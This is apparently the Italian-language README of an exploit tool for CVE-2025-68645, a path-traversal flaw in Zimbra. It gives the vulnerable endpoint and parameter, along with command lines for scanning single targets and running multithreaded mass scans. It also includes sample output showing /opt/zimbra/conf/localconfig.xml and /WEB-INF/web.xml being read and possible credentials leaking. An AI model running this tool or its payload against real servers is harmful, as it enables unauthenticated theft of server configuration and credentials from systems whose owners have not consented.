CVE-2025-68645 - Vulnerabilità di Path Traversal in Zimbra

📋 Panoramica

CVE-2025-68645 è una vulnerabilità di path traversal in Zimbra Collaboration Suite che consente ad attacker non autenticati di leggere file arbitrari dal filesystem del server.

Endpoint Vulnerabile

/h/printconversations?javax.servlet.include.servlet_path=

🎯 Impatto

📁 File Leggibili

🚀 Utilizzo

Scansione di un Singolo Target

python CVE-2025-68645.py.py -t https://target.zimbra.com

Scansione di Massa

python CVE-2025-68645.py.py -l targets.txt -o results.json --threads 20

Opzioni Avanzate

python CVE-2025-68645.py.py -t https://target.zimbra.com -v --timeout 30

📊 Argomenti della Riga di Comando

Argomento Descrizione Predefinito -t, --target URL di un singolo target Nessuno -l, --list File contenente un elenco di target Nessuno -o, --output Nome del file di output results.json --threads Numero di thread concorrenti 10 --timeout Timeout della richiesta in secondi 15 -v, --verbose Abilita output dettagliato False --no-verify Disabilita la verifica SSL False --read-all Leggi tutti i percorsi sensibili False

📸 Esempio di Output

[*] Scanning: https://target.zimbra.local [✓] VULNERABLE: https://target.zimbra.local [+] Extracted configuration: version: 220726130125 memcached: target.local:11211 httpsPort: 8443 httpPort: 8080 [+] Found: /WEB-INF/web.xml [+] Found: /opt/zimbra/conf/localconfig.xml [!] Possible credentials leaked in /WEB-INF/web.xml

============================================================ SCAN COMPLETE! Time elapsed: 1.02 seconds Total targets: 1 Vulnerable: 1 Not vulnerable: 0